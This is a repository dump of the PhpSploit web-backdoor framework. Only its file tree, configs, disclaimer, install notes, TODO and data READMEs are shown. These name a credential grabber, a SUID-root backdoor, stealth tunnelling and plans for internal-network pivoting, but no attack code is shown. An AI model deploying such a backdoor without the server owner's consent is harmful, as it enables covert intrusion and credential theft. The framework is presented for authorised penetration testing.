├── .all-contributorsrc ├── .codacy.yml ├── .codeclimate.yml ├── .codecov.yml ├── .coveragerc ├── .editorconfig ├── .github ├── .codeql.yml ├── FUNDING.yml ├── dependabot.yml └── workflows │ ├── codeql-analysis.yml │ └── unit-tests.yml ├── .gitignore ├── .lgtm.yml ├── .remarkrc ├── CHANGELOG.md ├── CONTRIBUTE ├── DISCLAIMER ├── INSTALL.md ├── LICENSE ├── README.md ├── TODO ├── data ├── README ├── config │ ├── README │ └── config ├── img │ ├── demo.png │ └── logo.png ├── logo.ascii ├── plugin-sample │ └── category_name │ │ └── plugin_example │ │ └── plugin.py ├── quotes.lst ├── tunnel │ ├── connector.php │ ├── encapsulator.php │ ├── forwarders │ │ ├── get.php │ │ └── post.php │ ├── multipart │ │ ├── reader.php │ │ ├── sender.php │ │ └── starter.php │ └── payload_prefix.php └── user_agents.lst ├── docs └── _config.yml ├── man ├── README ├── man.txt2tags ├── phpsploit.1 ├── phpsploit.txt └── update-man.sh ├── phpsploit ├── plugins ├── active_directory │ └── ldap │ │ ├── list.php │ │ ├── plugin.py │ │ └── search.php ├── credentials │ └── cloudcredgrab │ │ ├── payload.php │ │ ├── plugin.py │ │ └── plugin_args.py ├── file_system │ ├── cat │ │ ├── payload.php │ │ └── plugin.py │ ├── cd │ │ ├── payload.php │ │ └── plugin.py │ ├── chmod │ │ ├── payload.php │ │ └── plugin.py │ ├── cp │ │ ├── payload.php │ │ └── plugin.py │ ├── download │ │ ├── payload.php │ │ └── plugin.py │ ├── edit │ │ ├── plugin.py │ │ ├── reader.php │ │ └── writer.php │ ├── ls │ │ ├── payload.php │ │ └── plugin.py │ ├── mkdir │ │ ├── parent.php │ │ ├── payload.php │ │ └── plugin.py │ ├── pwd │ │ └── plugin.py │ ├── rm │ │ ├── plugin.py │ │ └── single.php │ ├── rmdir │ │ ├── payload.php │ │ └── plugin.py │ ├── stat │ │ ├── payload.php │ │ └── plugin.py │ ├── touch │ │ ├── payload.php │ │ └── plugin.py │ └── upload │ │ ├── payload.php │ │ └── plugin.py ├── network │ ├── bannergrab │ │ ├── payload.php │ │ ├── plugin.py │ │ └── plugin_args.py │ └── portscan │ │ ├── plugin.py │ │ ├── plugin_args.py │ │ ├── ports.json │ │ └── scanner.php ├── sql │ ├── mssql │ │ ├── connect.php │ │ ├── payload.php │ │ ├── plugin.py │ │ └── setdb.php │ ├── mysql │ │ ├── connect.php │ │ ├── payload.php │ │ ├── plugin.py │ │ └── setdb.php │ └── oracle │ │ ├── connect.php │ │ ├── payload.php │ │ └── plugin.py └── system │ ├── phpinfo │ ├── array_format.php │ ├── html_format.php │ └── plugin.py │ ├── proclist │ ├── payload.php │ ├── plugin.py │ └── plugin_args.py │ ├── run │ ├── payload.php │ └── plugin.py │ ├── suidroot │ ├── backdoor.c │ ├── payload.php │ └── plugin.py │ └── whoami │ └── plugin.py ├── requirements.txt ├── src ├── __init__.py ├── api │ ├── __init__.py │ ├── php-functions │ │ ├── can_change_mtime.php │ │ ├── dirAccess.php │ │ ├── execute.php │ │ ├── fileAccess.php │ │ ├── getGroup.php │ │ ├── getMTime.php │ │ ├── getOwner.php │ │ ├── getPerms.php │ │ ├── getSize.php │ │ ├── matchRegexp.php │ │ ├── mysqli_compat.php │ │ └── set_smart_date.php │ ├── plugin.py │ └── server │ │ ├── __init__.py │ │ ├── path.py │ │ └── payload.py ├── core │ ├── __init__.py │ ├── config.py │ ├── encoding.py │ ├── plugins │ │ ├── Plugin.py │ │ ├── __init__.py │ │ └── exceptions.py │ ├── session │ │ ├── __init__.py │ │ ├── compat_session.py │ │ ├── environment.py │ │ ├── history.py │ │ └── settings │ │ │ ├── BACKDOOR.py │ │ │ ├── BROWSER.py │ │ │ ├── CACHE_SIZE.py │ │ │ ├── EDITOR.py │ │ │ ├── PASSKEY.py │ │ │ ├── PAYLOAD_PREFIX.py │ │ │ ├── PROXY.py │ │ │ ├── REQ_DEFAULT_METHOD.py │ │ │ ├── REQ_HEADER_PAYLOAD.py │ │ │ ├── REQ_INTERVAL.py │ │ │ ├── REQ_MAX_HEADERS.py │ │ │ ├── REQ_MAX_HEADER_SIZE.py │ │ │ ├── REQ_MAX_POST_SIZE.py │ │ │ ├── REQ_POST_DATA.py │ │ │ ├── REQ_ZLIB_TRY_LIMIT.py │ │ │ ├── SAVEPATH.py │ │ │ ├── TARGET.py │ │ │ ├── TMPPATH.py │ │ │ ├── VERBOSITY.py │ │ │ └── __init__.py │ └── tunnel │ │ ├── __init__.py │ │ ├── compat_handler.py │ │ ├── connector.py │ │ ├── exceptions.py │ │ ├── handler.py │ │ └── payload.py ├── datatypes │ ├── Boolean.py │ ├── ByteSize.py │ ├── Code.py │ ├── Interval.py │ ├── Path.py │ ├── PhpCode.py │ ├── Proxy.py │ ├── ShellCmd.py │ ├── Url.py │ ├── WebBrowser.py │ └── __init__.py ├── decorators │ ├── __init__.py │ ├── isolate_io_context.py │ ├── isolate_readline_context.py │ └── readonly_settings.py ├── linebuf.py ├── metadict.py ├── shnake-0.5 │ ├── CHANGELOG.md │ ├── LICENSE │ ├── README.md │ ├── TODO │ ├── demo │ │ └── demo.py │ └── shnake │ │ ├── __init__.py │ │ ├── lexer.py │ │ ├── parser.py │ │ └── shell.py ├── ui │ ├── __init__.py │ ├── color.py │ ├── console.py │ ├── input │ │ ├── __init__.py │ │ └── expect.py │ ├── interface.py │ └── output │ │ ├── __init__.py │ │ └── wrapper.py └── utils │ ├── __init__.py │ ├── path.py │ ├── regex.py │ └── time.py ├── test ├── README.md ├── RUN.sh ├── TODO.md ├── backward_compat │ └── v2.1.4 │ │ ├── RUN.sh │ │ └── phpsploit.session ├── commands │ ├── README.md │ ├── alias.sh │ ├── corectl │ │ └── display-http-requests.sh │ ├── env.sh │ └── help.sh ├── core │ ├── README.md │ ├── core.plugins │ │ ├── RUN.sh │ │ └── test-plugins │ │ │ ├── invalid.category │ │ │ └── notloaded │ │ │ │ └── plugin.py │ │ │ ├── system │ │ │ └── is-in-existing_category │ │ │ │ └── plugin.py │ │ │ └── valid_category-name │ │ │ ├── cannot-compile │ │ │ └── plugin.py │ │ │ ├── invalid-name.notloaded │ │ │ └── plugin.py │ │ │ ├── is-empty │ │ │ └── plugin.py │ │ │ ├── is-valid │ │ │ └── plugin.py │ │ │ └── plugin-py_not-readable │ │ │ └── plugin.py │ └── linebuf.sh ├── interface │ ├── README.md │ ├── command-line-options.sh │ ├── issue73_show-stacktrace-if-VERBOSITY.sh │ ├── phpsploit-launcher.sh │ └── tty-colors.sh ├── plugins │ ├── README.md │ ├── issue74_non-connected-plugin-run-errmsg.sh │ └── touch.sh ├── settings │ ├── BROWSER.sh │ ├── PROXY.sh │ └── README.md └── unittest │ └── x.py └── utils ├── make_release.sh ├── pylint.sh └── start_phpsploit_connected.sh /.all-contributorsrc: -------------------------------------------------------------------------------- 1 | { 2 | "projectName": "phpsploit", 3 | "projectOwner": "nil0x42", 4 | "repoType": "github", 5 | "repoHost": "https://github.com", 6 | "files": [ 7 | "README.md" 8 | ], 9 | "imageSize": 100, 10 | "commit": false, 11 | "contributors": [ 12 | { 13 | "login": "nil0x42", 14 | "name": "nil0x42", 15 | "avatar_url": "https://avatars1.githubusercontent.com/u/3504393?v=4", 16 | "profile": "https://exdemia.com", 17 | "contributions": [ 18 | "code", 19 | "infra", 20 | "plugin", 21 | "test" 22 | ] 23 | }, 24 | { 25 | "login": "shiney-wh", 26 | "name": "shiney-wh", 27 | "avatar_url": "https://avatars1.githubusercontent.com/u/20907184?v=4", 28 | "profile": "https://github.com/shiney-wh", 29 | "contributions": [ 30 | "code", 31 | "plugin" 32 | ] 33 | }, 34 | { 35 | "login": "wapiflapi", 36 | "name": "Wannes Rombouts", 37 | "avatar_url": "https://avatars3.githubusercontent.com/u/1619783?v=4", 38 | "profile": "http://wapiflapi.github.io", 39 | "contributions": [ 40 | "code", 41 | "maintenance" 42 | ] 43 | }, 44 | { 45 | "login": "yurilaaziz", 46 | "name": "Amine Ben Asker", 47 | "avatar_url": "https://avatars1.githubusercontent.com/u/6031769?v=4", 48 | "profile": "http://yurilz.com", 49 | "contributions": [ 50 | "code", 51 | "maintenance" 52 | ] 53 | }, 54 | { 55 | "login": "paralax", 56 | "name": "jose nazario", 57 | "avatar_url": "https://avatars1.githubusercontent.com/u/5619153?v=4", 58 | "profile": "http://twitter.com/jnazario", 59 | "contributions": [ 60 | "doc", 61 | "bug" 62 | ] 63 | }, 64 | { 65 | "login": "sujit", 66 | "name": "Sujit Ghosal", 67 | "avatar_url": "https://avatars3.githubusercontent.com/u/156915?v=4", 68 | "profile": "http://wikisecure.net", 69 | "contributions": [ 70 | "blog" 71 | ] 72 | }, 73 | { 74 | "login": "sohelzerdoumi", 75 | "name": "Zerdoumi", 76 | "avatar_url": "https://avatars3.githubusercontent.com/u/3418725?v=4", 77 | "profile": "https://github.com/sohelzerdoumi", 78 | "contributions": [ 79 | "bug" 80 | ] 81 | }, 82 | { 83 | "login": "tristandostaler", 84 | "name": "tristandostaler", 85 | "avatar_url": "https://avatars3.githubusercontent.com/u/5489330?v=4", 86 | "profile": "https://github.com/tristandostaler", 87 | "contributions": [ 88 | "bug" 89 | ] 90 | }, 91 | { 92 | "login": "rohantarai", 93 | "name": "Rohan Tarai", 94 | "avatar_url": "https://avatars3.githubusercontent.com/u/16543074?v=4", 95 | "profile": "https://github.com/rohantarai", 96 | "contributions": [ 97 | "bug" 98 | ] 99 | }, 100 | { 101 | "login": "jonaslejon", 102 | "name": "Jonas Lejon", 103 | "avatar_url": "https://avatars1.githubusercontent.com/u/190150?v=4", 104 | "profile": "https://triop.se", 105 | "contributions": [ 106 | "blog" 107 | ] 108 | } 109 | ], 110 | "contributorsPerLine": 7, 111 | "skipCi": true 112 | } 113 | -------------------------------------------------------------------------------- /.codacy.yml: -------------------------------------------------------------------------------- 1 | exclude_paths: 2 | - 'deps/**' 3 | - 'plugins/**' 4 | - 'test/**' 5 | - 'utils/**' 6 | - 'data/**' 7 | - 'man/**' 8 | -------------------------------------------------------------------------------- /.codeclimate.yml: -------------------------------------------------------------------------------- 1 | # engines: 2 | # duplication: 3 | # enabled: true 4 | # config: 5 | # languages: 6 | # python: 7 | # python_version: 3 8 | 9 | plugins: 10 | pep8: 11 | enabled: true 12 | radon: 13 | enabled: true 14 | sonar-python: 15 | enabled: true 16 | 17 | exclude_patterns: 18 | - 'plugins/' 19 | - 'test/' 20 | - 'utils/' 21 | - 'data/' 22 | - 'man/' 23 | - 'src/shnake-0.5/' 24 | -------------------------------------------------------------------------------- /.codecov.yml: -------------------------------------------------------------------------------- 1 | codecov: 2 | notify: 3 | require_ci_to_pass: yes 4 | 5 | coverage: 6 | precision: 2 7 | round: down 8 | range: "70...100" 9 | 10 | status: 11 | project: yes 12 | patch: yes 13 | changes: no 14 | 15 | parsers: 16 | gcov: 17 | branch_detection: 18 | conditional: yes 19 | loop: yes 20 | method: no 21 | macro: no 22 | 23 | comment: 24 | layout: "header, diff" 25 | behavior: default 26 | require_changes: no 27 | -------------------------------------------------------------------------------- /.coveragerc: -------------------------------------------------------------------------------- 1 | [run] 2 | branch = True 3 | parallel = True 4 | omit = 5 | /usr/* 6 | */deps/* 7 | -------------------------------------------------------------------------------- /.editorconfig: -------------------------------------------------------------------------------- 1 | # This file is for unifying the coding style for different editors and IDEs. 2 | # More information at http://EditorConfig.org 3 | 4 | root = true 5 | 6 | [*] 7 | charset = utf-8 8 | end_of_line = lf 9 | indent_size = 4 10 | indent_style = space 11 | insert_final_newline = true 12 | max_line_length = 80 13 | 14 | [*.py] 15 | max_line_length = 79 16 | trim_trailing_whitespace = true 17 | 18 | [*.yml] 19 | indent_size = 2 20 | -------------------------------------------------------------------------------- /.github/.codeql.yml: -------------------------------------------------------------------------------- 1 | name: "CodeQL configuration file" 2 | 3 | # paths: 4 | # - src/ 5 | paths-ignore: 6 | - test/ 7 | - utils/ 8 | - man/ 9 | - doc/ 10 | - src/shnake-0.5/ 11 | 12 | # query-filters: 13 | # - exclude: 14 | # # This reports all the uses of the DES, but this is needed for 15 | # # interoperability with cards not supporting AES 16 | # id: cpp/weak-cryptographic-algorithm 17 | -------------------------------------------------------------------------------- /.github/FUNDING.yml: -------------------------------------------------------------------------------- 1 | github: nil0x42 2 | custom: ["exdemia.com/donate-bitcoin", "paypal.me/nil0x42"] 3 | -------------------------------------------------------------------------------- /.github/dependabot.yml: -------------------------------------------------------------------------------- 1 | version: 2 2 | updates: 3 | - package-ecosystem: pip 4 | directory: "/" 5 | schedule: 6 | interval: daily 7 | open-pull-requests-limit: 10 8 | -------------------------------------------------------------------------------- /.github/workflows/codeql-analysis.yml: -------------------------------------------------------------------------------- 1 | # For most projects, this workflow file will not need changing; you simply need 2 | # to commit it to your repository. 3 | # 4 | # You may wish to alter this file to override the set of languages analyzed, 5 | # or to provide custom queries or build logic. 6 | # 7 | # ******** NOTE ******** 8 | # We have attempted to detect the languages in your repository. Please check 9 | # the `language` matrix defined below to confirm you have the correct set of 10 | # supported CodeQL languages. 11 | # 12 | name: "CodeQL" 13 | 14 | on: 15 | push: 16 | branches: [ master ] 17 | pull_request: 18 | # The branches below must be a subset of the branches above 19 | branches: [ master ] 20 | schedule: 21 | - cron: '43 18 * * 0' 22 | 23 | jobs: 24 | analyze: 25 | name: Analyze 26 | runs-on: ubuntu-latest 27 | permissions: 28 | actions: read 29 | contents: read 30 | security-events: write 31 | 32 | strategy: 33 | fail-fast: false 34 | matrix: 35 | language: [ 'python' ] 36 | # CodeQL supports [ 'cpp', 'csharp', 'go', 'java', 'javascript', 'python', 'ruby' ] 37 | # Learn more about CodeQL language support at https://aka.ms/codeql-docs/language-support 38 | 39 | steps: 40 | - name: Checkout repository 41 | uses: actions/checkout@v3 42 | 43 | # Initializes the CodeQL tools for scanning. 44 | - name: Initialize CodeQL 45 | uses: github/codeql-action/init@v2 46 | with: 47 | languages: ${{ matrix.language }} 48 | config-file: ./.github/.codeql.yml 49 | # If you wish to specify custom queries, you can do so here or in a config file. 50 | # By default, queries listed here will override any specified in a config file. 51 | # Prefix the list here with "+" to use these queries and those in the config file. 52 | 53 | # Details on CodeQL's query packs refer to : https://docs.github.com/en/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/configuring-code-scanning#using-queries-in-ql-packs 54 | # queries: security-extended,security-and-quality 55 | 56 | 57 | # Autobuild attempts to build any compiled languages (C/C++, C#, or Java). 58 | # If this step fails, then you should remove it and run the build manually (see below) 59 | - name: Autobuild 60 | uses: github/codeql-action/autobuild@v2 61 | 62 | # ℹ️ Command-line programs to run using the OS shell. 63 | # 📚 See https://docs.github.com/en/actions/using-workflows/workflow-syntax-for-github-actions#jobsjob_idstepsrun 64 | 65 | # If the Autobuild fails above, remove it and uncomment the following three lines. 66 | # modify them (or add more) to build your code if your project, please refer to the EXAMPLE below for guidance. 67 | 68 | # - run: | 69 | # echo "Run, Build Application using script" 70 | # ./location_of_script_within_repo/buildscript.sh 71 | 72 | - name: Perform CodeQL Analysis 73 | uses: github/codeql-action/analyze@v2 74 | -------------------------------------------------------------------------------- /.github/workflows/unit-tests.yml: -------------------------------------------------------------------------------- 1 | name: Unit Tests 2 | 3 | # Controls when the workflow will run 4 | on: 5 | # Triggers the workflow on push or pull request events but only for the master branch 6 | push: 7 | branches: [ master ] 8 | pull_request: 9 | branches: [ master ] 10 | 11 | # Allows you to run this workflow manually from the Actions tab 12 | workflow_dispatch: 13 | 14 | # A workflow run is made up of one or more jobs that can run sequentially or in parallel 15 | jobs: 16 | # This workflow contains a single job called "build" 17 | build: 18 | strategy: 19 | fail-fast: true # quit as soon as a job fails 20 | matrix: 21 | os: [ ubuntu-22.04, ubuntu-20.04 ] # macos-latest # TODO 22 | python-version: [ "3.7", "3.11", "3.12-dev", "pypy-3.7", "pypy-3.10" ] 23 | # exclude: 24 | # - os: macos-latest 25 | # python-version: 12 26 | # The type of runner that the job will run on 27 | runs-on: ${{ matrix.os }} 28 | timeout-minutes: 8 29 | 30 | 31 | # Steps represent a sequence of tasks that will be executed as part of the job 32 | steps: 33 | # Checks-out your repository under $GITHUB_WORKSPACE, so your job can access it 34 | - uses: actions/checkout@v4 35 | 36 | - if: startsWith(matrix.os, 'macOS') 37 | name: "MacOS: Install coreutils (provides GNU core utils)" 38 | run: brew install coreutils 39 | 40 | # fix setupterm() error with pypy: 41 | # _minimal_curses.error: setupterm(None, 5) failed (err=-1): could not find termininfo database 42 | - if: startsWith(matrix.python-version, 'pypy') 43 | name: "pypy: Set env TERM=linux" 44 | run: | 45 | echo "TERM=linux" >> $GITHUB_ENV 46 | 47 | - name: Set up Python ${{ matrix.python-version }} 48 | uses: actions/setup-python@v5 49 | with: 50 | python-version: ${{ matrix.python-version }} 51 | 52 | - name: Install coverage (for codecov) 53 | run: pip3 install coverage 54 | 55 | - name: Install PhpSploit requirements.txt 56 | run: pip3 install -r requirements.txt 57 | 58 | - name: Run phpsploit unit tests 59 | run: stdbuf -oL -eL ./test/RUN.sh 2>&1 60 | env: 61 | PHPSPLOIT_TESTS_FAIL_FAST: True # stop on first test error 62 | COVERAGE: True # for codecov 63 | 64 | - name: Upload coverage to Codecov 65 | uses: codecov/codecov-action@v4 66 | with: 67 | # flags: unittests 68 | env_vars: OS,PYTHON 69 | files: ./coverage.xml 70 | token: ${{ secrets.CODECOV_TOKEN }} # required 71 | fail_ci_if_error: true # optional (default = false) 72 | verbose: true # optional (default = false) 73 | -------------------------------------------------------------------------------- /.gitignore: -------------------------------------------------------------------------------- 1 | # compiled source files 2 | *.pyc 3 | 4 | # OS junk 5 | .DS_Store 6 | .DS_Store? 7 | .Trashes 8 | Thumbs.db 9 | ehthumbs.db 10 | 11 | # Editor backup files 12 | *~ 13 | .*.swp 14 | 15 | # tmp directory (generated by unit-tests) 16 | /test/tmp/ 17 | 18 | # coverage.py: ignore report files 19 | .coverage 20 | .coverage.* 21 | # coverage.py: ignore html report 22 | /htmlcov/ 23 | 24 | # pipenv files 25 | /Pipfile* 26 | -------------------------------------------------------------------------------- /.lgtm.yml: -------------------------------------------------------------------------------- 1 | path_classifiers: 2 | # https://lgtm.com/help/lgtm/file-classification 3 | test: 4 | - exclude: / # ignore lgtm test code default classification 5 | - test 6 | - utils 7 | docs: 8 | - man 9 | - doc 10 | library: 11 | - src/shnake-0.5 12 | 13 | extraction: 14 | python: 15 | python_setup: 16 | # analyse source as python3 17 | version: 3 18 | index: 19 | exclude: 20 | - src/shnake-0.5 21 | -------------------------------------------------------------------------------- /.remarkrc: -------------------------------------------------------------------------------- 1 | { 2 | "plugins": [ 3 | "remark-preset-lint-recommended" 4 | ] 5 | } 6 | -------------------------------------------------------------------------------- /CONTRIBUTE: -------------------------------------------------------------------------------- 1 | Reporting a new bug: 2 | ==================== 3 | 4 | If you discover any bug on the PhpSploit framework, you are invited to submit 5 | it in the project's bugtracker, at: 6 | - https://github.com/nil0x42/phpsploit/issues 7 | 8 | Please ensure previously that the bug has not already been reported in the 9 | issues list. In case you are using an older version of the software, consider 10 | cloning the latest version from Git, if the bug has been noticed in the past, 11 | it can solve your ploblem. 12 | 13 | 14 | Contributing to the core: 15 | ========================= 16 | 17 | If you plan to share your amendements to the framework's core, the first 18 | requirement is to take care of the PhpSploit coding style. Even if some old 19 | libraries stand ugly and poorly commented, the new or reviewed ones obey to 20 | the following syntax: 21 | - Any class/function has a docstring that summarizes their use. 22 | - Esoteric portions of code are provided with explicit comments. 23 | - The maximum line length is limited to 80 characters. 24 | - PHP code portions MUST be compatible with at least php 4.3.0. 25 | 26 | Finally, your contribution must be submited by a pull request on github. 27 | 28 | 29 | Writing PhpSploit plugins: 30 | ========================== 31 | 32 | To get your plugin(s) included to the next PhpSploit release, in addition to 33 | the coding style conditions listed in the previous section, you must take care 34 | to write a clear and detailed help for it. 35 | The help must be provided as a python docString in the main file (plugin.py), 36 | and comply with the syntax of the built-in plugins. Help lines must not exceed 37 | 64 characters, to maintain good readability. 38 | 39 | To submit your plugin, a compressed archive can be sent to the main developper 40 | by E-Mail, or by a pull-request on github 41 | 42 | 43 | Enhancing documentation: 44 | ======================== 45 | 46 | If you found an error, or have an enhancement idea on any command/plugin help 47 | string, please consider creating an "enhancement" issue: 48 | - https://github.com/nil0x42/phpsploit/issues 49 | 50 | If you are masochist and want to write, complement or review the (poor?) 51 | PhpSploit documentation, you are very welcome and invited to share your 52 | contribution by E-Mail or pull request. 53 | 54 | #NOTE: If you want to bring manpage contribution, consider editing it's source 55 | file at "man/manual-page.txt2tags", which uses txt2tags syntax and must be used 56 | instead of "man/manual-page.1" to generate the manpage (see man/README). 57 | -------------------------------------------------------------------------------- /DISCLAIMER: -------------------------------------------------------------------------------- 1 | PhpSploit framework disclaimer 2 | ============================== 3 | 4 | Written by nil0x42 (https://github.com/nil0x42) 5 | 6 | Please note that this software is not made to help cyber criminals to keep 7 | access on remote servers unlawfully. 8 | 9 | The PhpSploit framework is first and foremost a proof of concept, designed to 10 | raise awareness on modern remote control technologies over the http protocol. 11 | 12 | It provides authenticated access feature (through $PASSKEY modifications), 13 | allowing legitimate users and authorized penetration testers to do their job 14 | without breaking human laws, or putting someone else's infrastructure at risk. 15 | 16 | As i know, you are a good guy, so you shouldn't inject a PhpSploit backdoor 17 | in a remote server without strict consent of it's legitimate owner, or he 18 | might never detect it due to it's stealth. 19 | -------------------------------------------------------------------------------- /INSTALL.md: -------------------------------------------------------------------------------- 1 | ## Quick Start 2 | 3 | ```sh 4 | git clone https://github.com/nil0x42/phpsploit 5 | cd phpsploit/ 6 | pip3 install -r requirements.txt 7 | ./phpsploit -ie 'help help' 8 | ``` 9 | 10 | 11 | ### Platform 12 | 13 | Compatible with GNU/Linux (and maybe Mac OS/X) 14 | > _Tested on debian, kali, archlinux, and fedora_ 15 | 16 | 17 | ### Python Version 18 | 19 | Compatible with python >= 3.5 20 | > _(Mostly tested with python 3.5)_ 21 | 22 | 23 | ### Dependencies _(included in ./deps from now)_ 24 | 25 | * **phpserialize** 26 | `import phpserialize` 27 | Needed to communicate between Python and PHP remote execution 28 | 29 | * **pyparsing** 30 | `import pyparsing` 31 | A dependency of `shnake`. Used to parse command-line input 32 | 33 | * **PySocks** 34 | `import socks, sockshandler` 35 | Needed by the PROXY setting to support socks4/5 proxy types 36 | 37 | 38 | ### Optional dependencies 39 | 40 | * **pygments** 41 | `import pygments` 42 | Enable php code syntax coloration 43 | 44 | * **bpython** 45 | `import bpython` 46 | Enhanced python console for use with `corectl python-console` 47 | 48 | * **IPython** 49 | `import IPython` 50 | Enhanced python console for use with `corectl python-console` 51 | -------------------------------------------------------------------------------- /TODO: -------------------------------------------------------------------------------- 1 | Repository: 2 | * n/a 3 | 4 | Documentation: 5 | * Simplify the manpage to summarize only commands and how to get started 6 | 7 | Core: 8 | * Add a way to get return code of previous command (like bash's '$?') 9 | * Provide bzip2 payload encoding (php >= 4.0.4, with bzcompress()) 10 | We need smaller payloads ! 11 | 12 | Interface: 13 | * BUG: changing terminal size (SIGWINCH) makes readline prompt buggy 14 | on muliline commands. 15 | 16 | Sessions: 17 | * n/a 18 | 19 | Settings: 20 | * n/a 21 | 22 | Commands: 23 | * Implement HTTPs response display in `corectl display-http-requests` command 24 | 25 | Plugins: 26 | * Write a "plugins/network/scan/plugin.py" small ip scanner, to be able to 27 | progressively gain access on controlled server's internal network. 28 | * `suirdoot`: handle backward compatibility with previous version, by using 29 | old behavior when 'SUIDROOT_PIPE' environment variable if defined. 30 | 31 | Network Stealth: 32 | * Write a stealth module which use other target on each command (with 404) 33 | -------------------------------------------------------------------------------- /data/README: -------------------------------------------------------------------------------- 1 | #This readme contains a brief description of each file on that directory. 2 | 3 | ./user_agents.lst 4 | ====================== 5 | This file contains a list (one per line) of common browser user agents. 6 | It is defaultly used as HTTP_USER_AGENT setting, as a file object because 7 | file objects (aka file://PATH), when used as HTTP_* settings (http headers) 8 | will randomly pick-up a line from these files. 9 | 10 | 11 | ./logo.ascii 12 | ============ 13 | This file contains the ascii art string used as logo by the PhpSploit 14 | framework interface at start. 15 | 16 | 17 | ./intro.msg 18 | =========== 19 | It contains the introduction message, written right below the ascii logo. 20 | 21 | 22 | ./quotes.lst 23 | ============== 24 | This useless file contains a list of quotes, randomly picked-up and 25 | printed on framework start/end, just for fun! 26 | 27 | ./config/ 28 | ========= 29 | This directory contains all the default files that are created 30 | on empty user configuration creation. 31 | 32 | ./img/ 33 | ====== 34 | This directory contains miscelaneous images for demos. 35 | 36 | ./tunnel/ 37 | ========= 38 | This directory contains php codes used by the phpsploit core 39 | for the payload builder. 40 | -------------------------------------------------------------------------------- /data/config/README: -------------------------------------------------------------------------------- 1 | # PhpSploit framework's user configuration directory 2 | ---------------------------------------------------- 3 | 4 | 5 | ./config file 6 | ============= 7 | 8 | The ./config file is automatically sourced at framework initialisation, 9 | and is the correct way to configure special behaviors at start, such 10 | as defining custom values for settings. 11 | The ./config file is interpreted line by line, as if each line had been 12 | typed in the framework interface. For example, is you want to overwrite 13 | the PASSKEY setting's default value, just add the following line to the 14 | configuration file: 15 | > set PASSKEY "myPassKey" 16 | 17 | 18 | ./plugins directory 19 | =================== 20 | 21 | This directory must be used for user specific plugins. 22 | It works exactly the same way as phpsploit's plugins directory. 23 | 24 | * Structure convention: 25 | 26 | First level directories are considered as category names, while their 27 | childs (second level directories) are the plugin names. 28 | 29 | Each plugin contains at least a 'plugin.py' file. 30 | 31 | --------------------------- 32 | 33 | plugins/ 34 | +-- file_system/ 35 | +-- shred/ 36 | | +-- plugin.py 37 | | +-- payload.php 38 | +-- top/ 39 | | +-- plugin.py 40 | | +-- payload.php 41 | +-- personnal/ 42 | +-- sendBot/ 43 | | +-- plugin.py 44 | | +-- payload.php 45 | +-- testing/ 46 | +-- netscan 47 | | +-- plugin.py 48 | | +-- payload.php 49 | 50 | --------------------------- 51 | 52 | In the plugins tree below, two personnal plugins have been added in the 53 | file system category (which is standard), while both `personnal` and 54 | `testing` categories contains one new plugin each. 55 | -------------------------------------------------------------------------------- /data/config/config: -------------------------------------------------------------------------------- 1 | # vi: ft=sh 2 | 3 | # The PhpSploit configuration file can be considered as a source 4 | # file which is defaultly sourced at framework initialisation. 5 | # 6 | # It means that you just have to put the commands as you type them in 7 | # the PhpSploit shell interface in order to build your own configuration. 8 | # 9 | # NOTE: If any command fails, the phpsploit framework will fail to 10 | # load this configuration file. 11 | 12 | 13 | ### Those aliases are enabled by default for retrocompatibility 14 | ### purposes. Those aliases can be removed without impacting the framework. 15 | alias load "session load" 16 | alias save "session save" 17 | alias lcd "lrun cd" 18 | alias lpwd "lrun pwd" 19 | alias clear "lrun clear" 20 | 21 | 22 | ### Some configuration examples you may want to add: 23 | 24 | ## Change the PASSKEY to prevent others phpsploit users from using your backdoor 25 | # set PASSKEY "YourPassKey" 26 | 27 | ## For vim addicts: don't change your habits ! 28 | # set EDITOR "vim" 29 | # alias vim "edit" 30 | -------------------------------------------------------------------------------- /data/img/demo.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/nil0x42/phpsploit/aea961df241a29703ae76c26cef52e1169f74a06/data/img/demo.png -------------------------------------------------------------------------------- /data/img/logo.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/nil0x42/phpsploit/aea961df241a29703ae76c26cef52e1169f74a06/data/img/logo.png -------------------------------------------------------------------------------- /data/logo.ascii: -------------------------------------------------------------------------------- 1 | 2 | ██▓███ ██░ ██ ██▓███ ██████ ██▓███ ██▓ ▒█████ ██▓▄▄▄█████▓ 3 | ▓██░ ██ ▒▓██░ ██ ▓██░ ██ ▒██ ▒ ▓██░ ██ ▓██▒ ▒██▒ ██▒▒▓██▒▓ ██▒ ▓▒ 4 | ▓██░ ██▓▒░▒██▀▀██ ▓██░ ██▓▒░ ▓██▄ ▓██░ ██▓▒ ▒██░ ▒██░ ██▒▒▒██▒▒ ▓██░ ▒░ 5 | ▒██▄█▓▒ ▒ ░▓█ ░██ ▒██▄█▓▒ ▒ ▒ ██▒▒██▄█▓▒ ▒ ▒██░ ▒██ ██░░░██░░ ▓██▓ ░ 6 | ▒██▒ ░ ░ ░▓█▒░██▓▒██▒ ░ ░▒██████▒▒▒██▒ ░ ░▒░██████░ ████▓▒░░░██░ ▒██▒ ░ 7 | ▒▓▒░ ░ ░ ▒ ░░▒░▒▒▓▒░ ░ ░▒ ▒▓▒ ▒ ░▒▓▒░ ░ ░░░ ▒░▓ ░ ▒░▒░▒░ ░▓ ▒ ░░ 8 | ░▒ ░ ▒ ░▒░ ░░▒ ░ ░ ░▒ ░ ░▒ ░ ░░ ░ ▒ ░ ▒ ▒░ ░ ▒ ░ ░ 9 | ░░ ░ ░░ ░░░ ░ ░ ░ ░░ ░ ░ ░ ░ ░ ▒ ░ ▒ ░ ░ 10 | ░ ░ ░ ░ ░ ░ ░ ░ ░ 11 | 12 | -------------------------------------------------------------------------------- /data/plugin-sample/category_name/plugin_example/plugin.py: -------------------------------------------------------------------------------- 1 | """Plugin's `plugin.py` file docstring (title line) 2 | 3 | SYNOPSIS: 4 | plugin_example 5 | 6 | DESCRIPTION: 7 | This plugin is a sample made to understand how 8 | phpsploit plugins are structured. 9 | 10 | If the `api` module is imported outside a real plugin 11 | runtime (for example through `corectl python-console`), 12 | then the API defaulty assumes this sample plugin as the 13 | current one for learning purposes. 14 | 15 | This text is the docstring of current plugin's 16 | python file (plugin.py). It means that running `help ` 17 | will display this docstring. 18 | 19 | Writting a plugin should comport a docstring formatted like 20 | this one, with at least a title (first line), and the 21 | following sections: 22 | SYNOPSIS 23 | DESCRIPTION 24 | AUTHROS and/or MAINTAINERS 25 | 26 | AUTHORS: 27 | nil0x42 28 | """ 29 | 30 | # standard library modules 31 | 